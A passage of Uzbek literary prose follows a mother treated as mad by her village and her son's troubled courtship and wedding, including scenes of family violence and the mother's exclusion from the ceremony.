ё ўзим ўламан. У онасига яқинлашди. Маъқул хола ўғли уришидан қўрқиб, икки қўли билан юзини бекитиб олди. Шамсиддин онасининг ёқасидан ушлаб кўтарди ва силкитиб-силкитиб ҳолдан тойдирди-да, девор томон итариб юборди. Аёл мувозанатини йўқотиб йиқилди. Кўзи қонга тўлган Шамсиддин энди уни қўлидан тортиб судрай бошлади.  Санам   дир-дир титраб, турган жойидан қимирлолмади. Меҳри  ўйлаб ҳам ўтирмай ўзини  акасига  отди ва унинг кўйлагидан, шимидан тортиб, онасидан узоқлаштирмоқчи бўлди. Шамсиддин энди онасини қўйиб, Меҳрини савалай кетди. Меҳри бир амаллаб  акасидан қочиб уйга кирди ва эшикни  ичкаридан бекитиб, деразадан мўралади. Бу орада Маъқул хола кўчага қочишга улгурган, Шамсиддин эса сўрининг бир четида ғазабини босолмай ўтирарди. Ўғлининг қўлидан халос бўлган Маъқул хола оёғига ковуш кийишга улгурмай, боз устига рўмоли дарвозахонада тушиб қолган ҳолда кўчадан кетаверди. Уни таниганлар: “Шўрликнинг дарди яна қўзғабди-да”, деса,  танимаганлар: “Ким экан бу бечора, ақлдан озганга ўхшайди”, деб қўярди. Аслида Маъқул холанинг эс-ҳуши жойида бўлсаям ўзининг оёқяланг, бошяланг эканини унутган, алам ва хўрлик, изтироб ва тушкунлик етаклаб кетаётган эди уни. Шу алфозда тўғри қайнисиникига кириб борди. Кўзлари кўкарган, сочлари тўзғиган янгасини кўрган Қулмат ачиниб кетди, бўлган воқеани эшитгач, жаҳли чиқди. –Аҳмоқ бола, шунақаям қиладими? Хафа бўлманг, янга, кўзига кўрсатиб қўяман у падарлаънатини. –Унда айб йўқ, –зорланди Маъқул хола. –Ҳамма мени жинни деб ўйлагани учун болам бечора қон бўлди, мени ҳам қон қилди.  Акангизнинг хотираси ҳаққи-ҳурмати, жон ука, келинни уйингизга туширинг. Ҳеч бўлмаса бир ой шу ерда яшасин, кейин бизникига боради, тўй ўтгач, ота-онаси ҳукмини юритолмайди. Қудалар сизни яхши танийди, совчиликка ҳам ўзингиз боргансиз, Шамсиддин ўғлингиздай гап, бир иложини қилинг, жон ука. Момохол уйдан  рўмол олиб чиқиб, овсинига тутди. Маъқул хола сочларини йиғиштириб, рўмолни боғлаб, оёғига овсини берган калишни кийди. –Ичкарига киринг, чой  ичамиз,–деди Момохол. –Йўқ, йўқ,– деди у. –Ҳеч нарса емайман, томоғимдан овқат ўтмайди. Шамсиддинимнинг қийналганини кўриб чидолмаяпман. Бошқа ёрдам сўрайдиган кишим йўқлигидан остоналарингга бош уриб келдим. Боламни қутқазинглар, болам ёлғиз, болам бечора... Маъқул хола из-из йиғлар, унинг бу ҳолатини кўрган ҳар қандай кишининг юрак-бағри эзиларди. –Майли, янга, –деди Қулмат. – Келинни бизнинг уйга туширамиз. Овсинингиз иккимиз болалар билан ошхонани жой қилиб оламиз, кейин бир гап бўлар. Эртага эрталаб  қудаларникига бориб,  кўндириб, тўй кунини белгилаб келаман. –Умрингиздан барака топинг, дунё турганича туринг. Болам ёлғиз, болам бечора, ёрдам беринглар, ёрдам... Маъқул хола ортига қайтди, йўлма-йўл унинг жағи ўчмади: –Болам ёлғиз, болам бечора, ёрдам беринглар, ёрдам... У  Шамсиддинга амакисининг сўзларини етказди. Ўғли ҳеч нарса демади, афтидан унинг кайфиятини билиб бўлмас, иш битди, деб ўйлаганидан кейин ҳам муаммолар бўртиб чиқаётганидан тушкунликка тушганди. Эртаси куни Қулмат амакиси қудаларникига бориб, тўйни кейинги ҳафта чоршанба кунига белгилаб келганидан кейингина  бир оз чеҳраси очилди. Орадан уч кун ўтиб, Шамсиддин онаси тўйга атаб боқаётган жувонани амакисиникига олиб кетди. Сўнг бирин-кетин келинга аталган буюмларни ташиди. Безатилган хона шип-шийдам бўлиб, қачондан бўён янга қиламиз, деб учиб-қувониб юрган болалар тумтайиб қолишди. Маъқул холанинг ичидан зил ўтса ҳам сездирмади, у қайнисининг уйига бўлса-да, келин тушираётганидан хурсанд, келин қаерда яшамасин, меники, ўғлимнинг жуфти ҳалоли, деган фикр билан ўзини овутаётган эди.  Қизларига, ўзига кўйлак тиктириш мақсадида сандиғидан мато олиб, Малика момонинг келини Ибодатга элтиб берди. Тўй баҳона Ғайбиддин билан Хайрулла ҳам янги кўйлакли бўлишди. Болалари билан бирга Маъқул хола тўй бўладиган кунни – чоршанбани орзиқиб кута бошлади.   Purchase ХХХ               Тақдир ҳар кимнинг ўз  қўлида, дейдилар-у, баъзан оддийгина тасодиф ҳам тақдирни яратиб қўйганини сезмай қолади киши. Уйланиш ҳақидаги режалари бузилиб кетавергач, ҳардам хаёл бўлиб қолган Шамсиддин баъзан кўзларини бир нуқтага тикканича хаёлга берилади.   Ҳамкасб хотин-қизлар ҳазил қилишса, ўлганининг кунидан зўрға тиржаяди, ўзининг оғир табиатли экани етмагандай юрагидаги кучли ғалаёнлар ҳам йигитнинг очилиб юришига йўл қўймайди. Одатдаги кунлардан бирида дорихонага кириб келган оқ-сариқ юзли, ўрта бўйли қиз Шамсиддиннинг эътиборини тортди.  У қўлига қизлар учун урф бўлган қора чарм сумкача кўтариб, пушти кофта билан қора юбка кийиб олганди. Қизнинг юзларини билинар-билинмас сепкил босган, ўнг чаккасида тангадай нори бор эди. “Яхшигина қиз экан-у, нори бир оз ҳуснини бузиб тураркан”, хаёлидан  ўтказди Шамсиддин. Қиз  унга эътибор ҳам бермай, тўғри  нариги бўлимга ўтиб, бир маҳал  Шаҳзода исмли хушчақчақ жувон билан чиқиб келди. –Эртага соат ўнларда кел, кутаман, – деди қизни кузатиб қўяркан у. Қайтишда  беихтиёр кўзи ўзига тикилиб турган Шамсиддинга тушиб ҳазиллашди: –Жияним, амакимнинг қизи, ҳали турмушга чиққани йўқ, хоҳласангиз ўртага тушишим мумкин. Шамсиддин кулиб қўйди. Ичида: “Онамнинг жиннилигини эшитсанг ўртага тушиш у ёқда турсин, жиянингни етти чақирим наридан қочирасан”, деб қўйди. Бироқ негадир шу  қизга хаёли кетаверди, мижозлари билан муомала қилганда ҳам, тушликка чиққанда ҳам, уйга қайтаётганда ҳам. Ўйлагани сайин қиз чиройли, жозибали бўлиб туюлаверди. “Бир қарашда юзидаги нори кўзга ташлангани билан барибир чиройли, кўнгли тоза, беғубор қизга ўхшайди”, деди ўзига ўзи. Шамсиддининг қиз ҳақидаги илк тасаввури ана шундай бўлди ва тонг отишини, соат ўн бўлишини орзиқиб кута бошлади. “Бугун яхшироқ разм соламан, яқинроқдан кўраман”, деб қўйди ўзича. Аммо нима учундир эртаси куни Шаҳзода ишга келавермади, Шамсиддин бу ҳақда унинг ёнидаги шеригидан сўрамоқчи эди, кўнглидаги кечинмалари ошкор бўлаётгандай  индамади, хаёлидан, қиз ҳам келмаса-я, деган фикр ўтиб безовталанди.  Бу орада дорихонага бири келиб, бири кетаётган мижозларга керакли дориларни топиб берди, бироқ хаёли барибир паришон, тез-тез соатига қараб қўярди. Ва ниҳоят соат ўндан ўтган ҳам эдики, эшик очилиб ҳалиги қиз кўринди, унга кўзи тушиши билан Шамсиддинни ҳаяжон босди, ўзини қандай тутишни билмай қолди. Қиз Шаҳзоданинг шериклари билан саломлашди-да, аммасини сўради. Шамсиддин қулоғини динг қилиб уларнинг суҳбатини эшитиб турди. –Кичкина ўғилчаларининг тоби қочибди, духтирга кўрсатиб, кечикиброқ бораман, деб қўнғироқ қилдилар. Бирпас кутиб туринг, келиб қолсалар керак. Қизнинг иши зарур, шекилли, бетоқат ҳолда у ёқдан бу ёққа юра бошлади. Пайтдан фойдаланган Шамсиддин ўзи ўтирган стулни қизнинг ёнига олиб бориб қўйди. –Ўтиринг. Қиз унга бир қаради-да, раҳмат, деди. Шамсиддин жойига ўтиб, сездирмасдан уни кузатишга тушди: бугун у эгнида митти гулчали оқ кўйлак кийибди, кийими ўзига ярашган, ҳалиги нори ҳам кўпам сезилмайди, сочи билан хиёл яширибди., кўзлари... мовий экан, қарашлари жиддий, лаблари қип-қизил, худди бўялгандай, лекин табиийлиги  сезилиб турибди. Қиз стулда бир оз ўтиргач, ўрнидан туриб, деразадан ташқарига қаради.  Шамсиддин унга бирор нарса дегиси келди-ю, нима дейишни билмади, қизни кузатишдан бошқасига ярамади, Ниҳоят Шаҳзода кириб келди, жиянини кўриб билан ундан узр сўрай бошлади. –Ўлай сенга, Норхол, кечир. Сарваримнинг тоби қочиб қолди, духтирга кўрсатиб,  аямга ташлаб келяпман. Боғчага ҳам олиб бормадим. Энди бирпас ўтириб турасан, тушга яқин чиқамиз. –Майли, амма, сиз нима десангиз шу. Шамсиддин қизнинг ҳар бир ҳаракатидан, ҳар бир сўзидан  гўзаллик қидирди ва қидирган сайин топгандай бўлаверди. Қиз аммаси билан чиқиб кетгунга қадар диққатини ундан узмади ва энди бу ҳақда Шаҳзода опага қандай билдирсам экан, деб ўйга толди. Унинг, ўртага тушаман, деб ҳазил аралаш айтган сўзлари Шамсиддинга далда бўлди, ўртоқларимнинг кўплари  уйланишди, юрсам юравераман, ётиб қолгунча отиб қолишим керак, деган фикрда  қулай пайт пойлади. Эртаси кун бўйи  Шаҳзодани холи учратолмади, пешинда бир гала  аёллар тушликка чиқишди, тушдан кейин у, боламнинг тоби йўқ, деб кетиб қолибди, хуллас, иши битмай яна бир тунни ўтказди. Тонг отгач, эҳтимол Шаҳзода опа вақтли келар, деган хаёлда каллайи саҳарлаб ишга отланди, аммо Шаҳзода одатдагидай роппа роса саккизда ишга келди. Соат ўнлар чамаси шериги  нимадир юмуш билан чиқиб кетди, пайтдан фойдаланган Шамсиддин Шаҳзоданинг ёнига борди. –Опа, мумкинми сиз билан гаплашсам? –Ҳа, Шамсиддин, тинчликми? –Жиянингизга уйлансам,  ўртага тушасизми? – гапнинг пўскалласини айтди-қўйди у. Индамай юрадиган боланинг дабдурустдан бунақа дейишини кутмаган Шаҳзода анграйиб қолди, ичида: “Кесакдан ҳам олов чиқар экан-ку”, деган бўлса ажабмас. –Сен бола ҳазилни тушунмайсанми? – деди ниҳоят. –Тушунаман. –Унда бу қанақа гап? –Сўзларим жиддий, Шаҳзода опа. –Жияним сенга ёқдими? –Ҳа. –Ўртага тушсам уялтирмайсанми? –Уялтирмайман. –Унда аввал амакимнинг олдидан ўтай, кейин қиз билан гаплашаман, розилик берса, тўй бўлди деявер. –Опа, олдиндан бир гапни айтиб қўяй, менинг онам касал. У... Шамсиддин у ёғини айтмади, айтолмади, титраб кетди, айтсам яна ҳамма нарса тамом бўлади, деб ўйлади ва жимиди, хайриятки, Шаҳзода гапни ковлаштирмади. Шамсиддинга ҳар бир куннинг ўтиши йилдай туюлди. Ҳар эрта ишга келиши билан Шаҳзоданинг оғзини пойлайди, айтмадимикин, деб ўйлайди, аммо Шаҳзоданинг парвойи фалак, одатдагидай ишини қилиб юраверди. Тўртинчи куни  Шамсиддин чидаб туролмади, сўради: –Шаҳзода опа, айтмадингизми? –Уйланиш  осонми, куёв бола, сабрли бўладилар, – ҳазиллашиб гапирди Шаҳзода ва сўнг жиддий тортди: – Тўғрисини айтсам, амакимникига боришга вақтим бўлгани йўқ, кўряпсан-ку, эрта келиб, кеч кетаман. Амакимнинг уйи бир қадам узоқ, энди якшанба кунини  мўлжаллаб турибман, бориб, албатта, айтаман. Қўрқма, мен сен томондаман, икки йилдан бўён бирга ишлаймиз, сени биламан-ку. Шаҳзоданинг амакиси Қўчқор қассоб беш вақт намозини канда қилмайдиган бир қўли хайрда бўлган художўй киши эди.  Жиянининг сўзларини эшитгач, ёшлар бир-бирини кўрсин, рози бўлишса, биз нима дердик, деб қўйди. Шундан сўнг Шаҳзода Норхол билан гаплашди. –Эшикдан киришинг билан тўғридаги бўлимда ишлайдиган йигит, –деди Шаҳзода. –Борганингда кўргандирсан. –Билмадим, сизни кутаётганимда бир йигит стул қўйиб берганди, ўшамикин? –Ўша, у ерда яна бир ёши каттароқ киши ишлайди. Ана кўрдингми, қанчалар эътиборли, маданиятли, бир учрашиб кўр. –Билмасам... Шаҳзодага шу керак эди, душанба куни  тушдан кейин икки ёшни учраштирадиган бўлди. Шамсиддин хушхабарни эшитиб қувониб кетди, тушда уйига бориб бисотидаги битта-ю битта қора костюм-шимини, ҳаво ранг кўйлагини кийиб, сочларини орқага тараб, ўзига оро берди. Бир хаёли иссиқда костюм кийиб олибди, деб ўйлармикин, деган хаёлда ечмоқчи ҳам бўлди, аммо бу кийим ўзига ярашгани, салобатли кўрсатгани учун ечгиси келмади. Улар Шамсиддин ишдан чиққач, истироҳат боғида учрашишди. Йигит қизни музқаймоққа таклиф қилди, ўтирганларидан сўнг  аввалига оғзига талқон солгандай гапни нимадан бошлашни билмай  жим турди, қиз-ку, ўз-ўзидан  биринчи бўлиб гапирмаслигини, ўртадаги  сукунатни ўзи бузиши кераклигини билса-да, хаёлига жўяли гап келмади, ниҳоят таваккалига ўтди. –Уйда ўтириб зерикдингизми, ишга кирмоқчи экансиз? Шаҳзоданинг, жияним боғчага ишга жойлаштириб қўйинг, деб келибди, деган гапи эсига тушиб саволни беришга берди-ю, уялиб кетди. “Қиз болага ҳам шунақа бемаъни савол бераманми, нега олдинроқ  бу ҳақда ўйлаб қўймаган эканман?”, деб ўз-ўзини койиди, бироқ қиз саволни тўғри қабул қилди. –Уйда зерикишга вақт йўқку-я, барибир ишлашни хоҳлайман. Шунинг учун аммамга, танишларингиз кўп, бирор иш топиб беринг, дегандим. Икки йил институтга ўқишга бордим-у, омадим чопмади, ўқитувчиларимни кўрсам ҳалиям уяламан. –Қайси институтга  бордингиз? –Икки йил ҳам пединститутга бордим. Биринчи йил танловдан қайтдим, кейинги йил охирги имтиҳондан ўтолмадим. Норхол Шамсиддин ўйлаганидай кўнгли очиқ, самимий қиз экан, юракдан гапирди. –Мен эса институтда ўқимаганим учун армон қиламан. –Кира олмадингизми? –Йўқ, боришга қўрқдим. Оилада катта фарзанд эдим. Отам қазо қилганлар, онам... Онам ... Ҳалиги касал эдилар... Ҳозир ҳам касаллар... –Тузалиб кетсинлар. Бир гал онам касал бўлганларида ундан кўра мен касал бўлай, деб худодан сўраганман. Сизни тушуниб турибман. “Тушунганинг учун раҳмат”, деди ичида Шамсиддин. Шундан кейин улар яна икки-уч марта учрашишди, гап-гапга қовушди, кўнгил кўнгилга йўл топди. “Ёшлар бир-бирини кўрсин, рози бўлишса, биз нима дердик”, деган Қўчқор қассоб ҳам ҳеч кимга сездирмай  Шамсиддинни кузатди, “Оғир, вазмин, ақлли йигитга ўхшайди”, деган хулосага келган эди у. Шу тариқа тўй куни белгиланди, аммо кутилмаганда қуда аёлнинг жиннилиги маълум бўлди. Қўчқор қассоб иккиланиб қолди, кимдир: “Қизингнинг бахтини қайтарма”, деса,  кимдир: “Онаси жинни бўлса, кўра-била туриб ўтга ташлама”, деди. Хотинининг: “Норхол жинни аёл билан қандай яшайди?”, деган сўзларидан сўнг ўртага  тушган Шаҳзодани ноқулай аҳволга солиб тўйни қайтариб юборди. Буни эшитган Норхол тумтайиб олди, қисқа вақт ичида Шамсиддин унинг кўнглидан жой олганди, аслида у онасининг касал эканини яширгани йўқ, айтди, фақат Норхол, қанақа касал, деб сўрамади. Шамсиддин бу ҳақда Шаҳзодага ҳам айтган экан, онаси касал бўлса унинг айби нима? Норхол отасига ҳеч нарса демади, бироқ онасига  норозилигини билдирди: “Энди менга турмушга чиқиш ҳақида гапирманглар”. Ана шундай кунларнинг бирида уйларига Қулмат кириб келди. Қизнинг тақдири Шамсиддинга қўшилган экан, гап-сўзлар ортда қолиб,  тўй қилишга келишиб олинди. ХХХ          Айни ёз ойлари келин тушираман, деб юрган Маъқул холанинг режалари бузилиб, атрофга олтин сочларини ёзиб куз кириб келган, ҳовлиларида олмалардан тортиб шафтолиларгача ғарқ пишган, бир ҳисобдан тўйнинг  кузда бўлаётгани ҳам яхши, дастурхонни мева-чева, қовун-тарвуз билан тўлдириб ташлаш мумкин, фақат ёмғир ёғиб бесаранжом қилмаса, бошқа муаммо йўқ эди. Тўй қайнисининг уйида бўлса-да, қўшниларни айтмаса уят бўлади, деб ўйлаган Маъқул хола бирма-бир атрофдаги хонадонларга кириб юрганди, қишлоқ бригадири Тоштемирга дуч келди.  У айиқдай семириб, бағбақалари осилиб қолибди, семизлигидан қисиқ кўзи янаям кичик кўринди Маъқул холага. –Шамсиддин уйланяпти, деб эшитдим, муборак бўлсин, янга –деди у. –Шукур, етказганига шукур. Маъқул хола ўтиб кетаётганди, Тоштемир бригадир яна гапга тутди. –Тўйнинг помидор ва бодиринги биздан,  Шамсиддинга айтинг, олиб кетсин. Маъқул хола унга “ялт” этиб қаради. Бир пайтлар қиш қаттиқ келиб, молига озгина озуқа сўраганида  ҳайдагандан баттар қилиб юборгани кечагидай эсида. “Бундан кейин  молим-ку мол, ўзим очдан ўлсам ҳам сендан ҳеч нарса сўрамайман”, деб онт ичганди ўшанда.  Бугун  ўша Тоштемир  бригадир ҳиммат кўрсатмоқчи. Маъқул хола:  “Тўйдингми, сендан ҳам ортарканми?”, демоқчи бўлди-ю, яна фикридан қайтди. –Қайнимнинг уйида помидор, бодиринг тиқилиб ётибди, –деди у. – Ҳимматингиз учун раҳмат. Афтидан Тоштемир бригадир аёлдан рад жавобини кутмаган кўринади, юзи ўзгариб кетди. –Берганнинг бетига қарама, дейдилар, олавермайсизми? Ўзингиз кал бўлсангиз ҳам кўнглингиз жа-а  нозик-да. Энди Маъқул хола ўзини тутиб туролмади. –Помидор билан бодирингинг бошингдан  ордона қолсин. Сен менга садақа бермоқчи бўляпсанми? Садақани  мен сенга бераман. Ҳали болаларимнинг оёғига тиз чўкасан, ёрдам сўраб келасан. Кўрмаяпсанми, Шамсиддинимга икки қаватли  дорихона қураяпман. Чириб ётган помидоримга зор деб ўйладингми? Тахтапуштингга боғлаб қўй... –Аҳмоқ бўлмасам сен эси пастга  гапираманми? – деди Тоштемир бригадир атрофида йиғилган одамлардан уялиб. – Ношукур. У орқа-олдига қарамай қочиб қолди. Маьқул хола, бопладим, дегандай қаҳ-қаҳ отиб кулди. –Тўйибди, – деди у одамларга қараб. – Тоштемир бригадир тўйибди, қорнининг шишиб кетганига қаранг, ёрилай дейди. Бир пайтлар ялиниб борганимда сомон бермай ҳайдаб  юборганди, энди менга помидор билан бодиринг берармиш.  Помидорингсиз тўйим ўтмай қоладими? Сени есин помидор ва бодирингинг. Тоштемир бригадирдан аламзадалар бор эканми, бир зумда унинг  ғийбати бошланди. –Бопладингиз, янга, – деди Ўрал исмли киши. – Бригадирман, деб бурни осмонга кўтарилиб кетганди. –Завод помидорни олмаяпти, пишгани далада чириб кетяпти, шунга сахийлиги  тутган-да, – истеҳзо билан гапирди Қодир ота. –У сиқса сув чиқмайдиган, қишда қор сўраса бермайдиганлар хилидан, – деди яна кимдир. –Исми жисмига мос, тошдан ҳам, темирдан ҳам қаттиқ. –Қишлоқда бошқа киши қуриб кетгандай эсимни таниганимдан бери шу бригадир. Одамлар Тоштемир бригадирни  ғийбат қила-қила тарқалишди Сешанба куни Ғайбиддин билан Хайрулла уйларидаги мевалардан териб, узумларни узиб,  яшикларга жойлаб қўйишди, Шамсиддин ишхонасидаги машина билан уларни амакисиникига олиб борди, сўнг биргаликда кечки овқатга ўтиришди. Тамадди қилиб бўлишган ҳам эдики, Малика момонинг келини Ибодат кириб келди. – Янга, кўйлакларингизни тикдим, – деди у Маъқул холага қараб. – Ўзим олиб кела қолдим, кийиб кўринглар-чи. Она ва қизлар  кўйлакларини ажратиб олишди. – Бодомга тикдирмадингиз, хафа бўлмайдиларми? – сўради Ибодат. –Опамнинг кўйлаклари кўп, –онасининг ўрнидан Санам жавоб берди. – Яқинда дўкондан тайёрини олдилар. Улар кўйлакларини кийиб кўришди. –Жуда ярашди, она, очилиб кетдингиз. Энди куёвнинг онасига – тўй эгасига  ўхшадингиз. Санамнинг сўзларидан Маъқул хола ёш боладай қувониб, қиқир-қиқир кулди. Санам билан Меҳри ҳам  ўзларини ойнага солишди. –Чиройли тикибсиз, раҳмат янга, – деди Санам. Маъқул хола рўмолчасини титкилаб, Ибодатга пул бермоқчи эди,  олмади. – Бу мендан сизларга тўёна, яхши кунларда кийинглар. Ўзида йўқ хурсанд Маъқул хола Ибодатни қучоқлаб олиб, биздан қайтмаса, худодан қайтсин, деб дуо қилди. Ҳамма гапни эшитиб ўтирган Шамсиддин Ибодат кетиши билан онасига ўдағайлади: –Тўйга боришни хаёлингдан чиқар, орқанг тутиб, тўйимни  бузсанг, ким деган одам бўламан? Неча ойдан бери келин орзусида юрган аёл сувга тушган нондай бўшашди, бир Шамсиддинга қаради, бир қизларига. Меҳри чидаб туролмади. –Борадилар,–деди акасига. – Онамни хафа қилсангиз амакимга айтаман, ўзлари олиб борадилар, тўйга  амаким хўжайин. –Бор, айт!  Онам тўйга борса, мен бормайман. Онам тўйга борса фикрим бўлинади, хаёлим чалғийди, жиннилиги тутса нима қиламан, деб ўйлайман, ўзига ўзи нималарни гапиряпти, деб ўйлайман. Шармандайи шармисор бўлмасмикинман, деб ўйлайман.  Одамлардан уяламан, тушуняпсанми, уяламан. Онамнинг тўйда бош бўлишини истамайди, деб ўйлайсанми, истайман, аммо онам унақа аёл эмас, онам ишни бузиб қўяди. Онам... Онам... Эй, тилимни қичитма... Хонага чуқур сукунат чўмди, боядан бери бидирлаётган Меҳри ҳам жимиди, Маъқул хола кўзидан оқаётган ёшларни қўли билан сидириб ташларкан: –Майли, шуни истасанг, уйда қоламан, ким борса бораверсин, –деди. Меҳри маъюс тортди, у тўйни орзиқиб кутаётган бўлсаям, онасини ёлғиз ташлаб кетолмасди. –Унда мен  ҳам бормайман,– деди секингина. Шамсиддин синглисига еб қўйгудай тикилди. –Сенсиз ҳам тўй ўтади, бормасанг борма. Бу хонадонда Шамсиддиннинг гапи гап, сўзи сўз, ортиқча баҳсга ҳожат йўқ эди.                                                                                        ХХХ   Маъқул хола келин туширишга мўлжаллаган уйнинг деворлари оқланиб, эшик ва деразалари бўялгани билан эскилиги билиниб турар, айниқса, Шамсиддин анжомларини олиб кетгач, шип шийдам ва файзсиз бўлиб қолганди.  Намиқиб, шўрахо очган деворларни Шамсиддин суваб чиқса-да, чумчуқ сўйса ҳам қассоб сўйсин, деганлари рост экан, дўппайиб чиққан сувоқларни яшириш учун Маъқул хола деворнинг тўрт томонига гулдор сатин  қоқиб чиқди, тўй Қулматникида  ўтиши аниқ бўлгач, Шамсиддин сатинни ҳам юлиб кетди, деворнинг ҳар ер, ҳар ерида қўпорилган михларнинг изи билиниб қолди. Маъқул хола йиғлашдан ўзини тийиб,  уйнинг  бир бурчагида ўтириб олди-да, бошини икки тиззаси устига қўйиб хаёлга чўмди. У ўзини нохуш сезаётганди, назарида пешонаси ўт олаётгандай ва ундан таралаётган ҳарорат бутун танасига тарқалиб кўйдираётгандай эди.  Аёлнинг юраги безовта уриб, бошини кўтарди, икки кафтини устма уст қўйиб манглайини ушлади ва энди  вужудига ўрмалаётган оташни ўчирмоқчи бўлди, лекин эплолмади, жаҳли чиқиб кетди ва пешонасини деворга ура бошлади.  Онасининг ортидан хавотир билан келган Меҳри уни ушлаб олмаганида бу талваса нима билан тугашини ҳеч ким билмасди. –Қўй, мени, пешонамнинг олови ҳамма ёғимни кўйдиряпти, ичим ёниб кетяпти. Бу шўр пешонани уриб ўлдираман. Қўй, индама. Маъқул хола кучли аёл эди, айниқса, шу топда – кўзлари қинидан чиққудай катта-катта очилиб, чакка томирлари бўртиб, ҳатто лабларигача пир-пир учиб, важоҳат билан турган бир пайтда уни ушлаб туриш қийин бўлсаям  ёшгина Меҳри уддасидан чиқди, онаси қанчалик ўзини ҳар ёнга урмасин, эпчиллик билан олдига ўтиб, деворга бошини уришига йўл қўймади. Ниҳоят Маъқул хола чарчади, оёқларини узатиб, бошини хам қилиб ўтириб олди. У бир муддат шу алфозда тургач, Меҳрига қаради. –Кет олдимдан, кет! –Кетмайман! –Кет! Тўйга бор! Кўзимга кўринма! –Йўқ, бормайман! –Мана сенга бормасанг, мана. Маъқул хола Меҳрининг юзига тарсаки туширди, қиз қочмади, қаршилик кўрсатмади, “ураверинг”,  дегандай юзини тутиб тураверди. Қизни эгиб бўлмасди, аёлнинг шашти синди ва қизини қучоқлаб олди. –Нега бормайсан, ахир, Мен бор десам ҳам бормайсан, тўйни қачондан бери кутаётганингни билмайманми?  Кун санаётганингни билмайманми? Энди нега бормайман дейсан? Мен, жинни онанг ўлиб кетмайдими, нима ишинг бор, нега ҳоли-жонимга қўймайсан, нега канадай ёпишиб олгансан? Маъқул хола қизини қучоғидан бўшатмай  йиғлаб гапираверди, Меҳри йиғлаб эшитаверди. У шу тарзда  ғубордан чиқди, кўнглини бўшатди, энди анча босиқлик билан гапирди. –Тўйга бор, менга келин ҳақида гапириб берасан. –Буни Санам опамдан билиб оламиз. –Сен яхшилаб гапириб берардинг-да. –Опам мендан ҳам яхши гапириб берадилар, тайинлайман. Ўртага сукунат оралади,  бирпас ўтиб, Маъқул хола ўз-ўзига савол бергандай пичирлади: –Келин қанақа бўлса? Ақллимикин? Устимдан кулмасмикин? –Нега кулади? Мен кулгани қўяманми? – деди Меҳри. –Сени қўлингдан нима келарди,  ҳали кичкинасан-ку. –Кичкина деманг мени, кўтариб ураман... Меҳри мақолнинг давомини айтмади-да, мийиғида кулиб қўйди,  Маъқул хола ҳам жилмайди. Аслида Маъқул хола тўғрисини айтди: Меҳри ҳали кичкина,  эндигина иккинчи синфни тугатяпти. Унга алам қилгани ҳам кичкиналиги, акасига кучи етмагани эди. У ёшига нисбатан журъатли, қатъиятли бўлса-да онасини ҳимоя қилиш учун фақат журъатнинг ўзи камлик қилишини англаб етган, шунга қарамай онаси азоб чекса, томошабин бўлиб ўтиролмасди. Бир гал бу ҳақда Санамга ҳам айтганди. “Опа, нега акам онамни калтакласа, Бодом опам жеркиб ташласа индамайсиз, онамнинг тарафини олмайсиз?” “Қизиқмисан, улар мендан катта, нима дейман?  Шамсиддин акамга кучим етмайди. Мана, сен, тарафкашлик қилганинг билан қўлингдан нима иш келяпти? Калтак еганинг қолади, холос”. Санам ҳақ гапни айтган бўлса-да, Меҳри унинг сўзидан қониқмади. “Калтак есам ҳам майли, барибир ҳимоя қилавераман,” Ҳозир онасининг, келин менинг устимдан кулмасмикин, деган сўзлари уни баттар эзди. “Мен кулгани қўяманми?”, дейиши билан танасида  ғайритабиий бир кучни туйди ва ўзига ўзи “Энди онамни хўрлатиб қўймайман”, деб ваъда берди. –Қўлимдан қўп иш келади, ҳали кўрасиз,  –Меҳри шунчалик ишонч билан гапирдики, онасининг кайфияти кўтарилди. –Ҳеч кимга ишонмасам ҳам сенга ишонаман. Сен ҳали ҳамманинг ҳаваси келадидиган катта одам бўласан. Ўлиб кетган тақдиримда  осмондан туриб сени кузатаман, қўллайман. Меҳри бармоқларини онасининг лаблари устига қўйди. –Ўлимдан қўрқаман, гапирманг... –Бўпти, гапирмайман, – деди Маъқул хола ва яна  келин  мавзусига қайтди: –Келиннинг қандай бўлиши акангга боғлиқ, Шамсиддин мени хўрласа, келиним ундан ўтказади. Шамсиддинга ишонмаганим учун келиндан қўрқяпман. Аканг мазах қилаверса, хотини ҳам ўрганади-да, яна ким билади дейсан... –Қўрқманг, акам энди бизлар билан яшамайди. –Олдиндан бир нарса дейиш қийин, аканг амакингникида вақтинча туради, улар ҳам жўжабирдай жон.  Сигирнинг пули етса, акангга уй олиб берардим, афсус, сотадиган бошқа ҳеч вақомиз йўқ-да. –Сигирни сотсак  ҳолимиз нима кечади?–онасининг гапидан ажабланди Меҳри. –Аста-секин пул йиғиб яна  сигир олардик, акангга уй жуда зарур. Меҳри онасини сира тушунмайди: акаси ҳам, Бодом опаси ҳам уни одам ўрнида кўрмай, ҳар гапидан хато излаб силташади, онаси уларнинг таъзирларини бериш ўрнига хушомад қилгани қилган. Мана, бугун  оғзини оқартириб турган сигирини сотиб, Шамсиддинга уй олиб бериш ҳақида ўйлаяпти. Меҳри кўнглидан кечган фикрларни юзага чиқарди. –Она, Шамсиддин акамдан гоҳ нолийсиз, гоҳ унинг раҳмини ейсиз. Қандай яшаса яшайвермайдими, нима ишингиз бор? Уй олиб беришингизга арзимайди у. –Эҳ, болам,–деди Маъқул хола. –  Она бўлганингдан кейин ҳаммасини тушунасан.  Аканг ичимдан тушган чаёним. Чақса ҳам ўзимники.            –Она ва қиз нималар ҳақида гаплашяпсизлар? –идиш-товоқларини ювиб келган Санам уларнинг суҳбатини бўлди. Маъқул хола ҳам, Меҳри ҳам бир неча дақиқа олдин бўлиб ўтган воқеани унутиб, шунақа самимий суҳбат қуришаётган эдики, Санам бир неча дақиқа олдинги хафагарчиликни сезмади ҳам. Шу сабабли Меҳри ҳазил аралаш савол берди. –Акам ҳақида. –Ғийбатими ё тўйими? – кулимсираб сўради Санам. –Ҳар иккиси ҳам, –жавоб қайтарди Меҳри. Улар ҳали  суҳбатларини тугатмаган  эдиларки,  Бодом кириб келди. –Кеч қолдингиз, опа, –деди Санам. –Эртага келсангиз керак, деб ўйлагандим. –Тўрт пара ўқидик, кейин автобус кутдим. Қорним очқаб кетди, овқатинг тайёрми? –Ҳа, юра қолинг, совиб қолгандир. Опа-сингил  нариги уйга ўтишди. Меҳри онасининг тиззасига бошини қўйиб хаёл суриб ётганича уйқуга кетди. Тун тинч ва хотиржам ўтди.   ХХХ   Ҳамма учун одатдаги кунлардан бири сифатида бошланган чоршанба Маъқул холанинг бутун борлиғини қарама-қарши туйғуларга кўмиб ташлади. Тўйга боришдан умидини узган Меҳри мактабга, қолганлар ясан-тусан қилиб амакилариникига кетишди. Кенг ҳовлида танҳо қолган аёл ўзини чалғитиш учун кир ювди, ҳовлини супурди, 